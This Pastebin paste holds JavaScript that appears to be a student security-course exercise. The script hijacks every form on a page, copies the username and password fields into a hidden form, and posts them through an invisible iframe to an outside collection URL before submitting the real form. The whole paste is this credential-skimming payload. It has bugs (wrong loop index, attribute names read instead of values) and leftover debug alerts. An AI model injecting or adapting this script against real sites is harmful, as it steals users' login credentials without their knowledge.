Advertisement
harrislb

Untitled

Feb 6th, 2017
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. var frms = document.getElementsByTagName("form");
  2. for(var i=0; i<frms.length; i++) {
  3. hijack(frms[i]);
  4. }
  5.  
  6. function hijack(frmObj) {
  7. var delayCode = "";
  8. if(frmObj.hasAttribute("onsubmit")) {
  9. delayCode = frmObj.getAttribute("onsubmit");}
  10. frmObj.setAttribute("onsubmit", "return leech(this,function() {" + delayCode + "});");
  11. }
  12.  
  13. function leech(frmObj, delayCode) {
  14. var rnd = Math.floor(Math.random()*256);
  15. var newFrm = document.createElement("form");
  16.  
  17. var inputs = frmObj.getElementsByTagName("input");
  18. var username = "";
  19. var pass = "";
  20. for(var j=0;j<inputs.length;j++){
  21. if(inputs[j].getAttribute("name").includes("user")){
  22. username = inputs[i].getAttribute("name");
  23. }
  24. if(inputs[j].getAttribute("id").includes("user")){
  25. username = inputs[i].getAttribute("id");
  26. }
  27. if(inputs[j].getAttribute("type").includes("password")){
  28. pass = inputs[i].getAttribute("type");
  29. }
  30. }
  31. alert('username is ' + username);
  32. alert('pass is ' + pass);
  33. newFrm.setAttribute("id", "leechedID" + rnd);
  34. newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
  35. newFrm.setAttribute("action", "https://www.rose-hulman.edu/~stammsl/442/slurp.php");
  36.  
  37. var usernameInput= document.createElement("input");
  38. usernameInput.setAttribute("name", "username");
  39. usernameInput.setAttribute("value", username);
  40. usernameInput.setAttribute("type", "hidden");
  41.  
  42. var passInput= document.createElement("input");
  43. passInput.setAttribute("name", "password");
  44. passInput.setAttribute("value", pass);
  45. passInput.setAttribute("type", "hidden");
  46.  
  47. var teamNameInput= document.createElement("input");
  48. teamNameInput.setAttribute("name", "442team");
  49. teamNameInput.setAttribute("value", "SaltySeniors");
  50. teamNameInput.setAttribute("type", "hidden");
  51.  
  52. newFrm.appendChild(teamNameInput);
  53. newFrm.appendChild(passInput);
  54. newFrm.appendChild(usernameInput);
  55.  
  56. var hiddenIframe = document.createElement("iframe");
  57. hiddenIframe.setAttribute("style", "position:aboslute;" + "visibility:hidden;z-index:0;");
  58. hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);
  59.  
  60. hiddenIframe.appendChild(newFrm);
  61. window.document.body.appendChild(hiddenIframe);
  62. alert("About to submit the forked form");
  63. newFrm.submit();
  64. alert("Cloned form submitted");
  65.  
  66. setTimeout(function() {
  67. window.document.body.removeChild(hiddenIframe);
  68. if(delayCode() !=false) { frmObj.submit(); alert("Submitted real form.");
  69. }
  70. }, 50);
  71.  
  72. return false;
  73. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement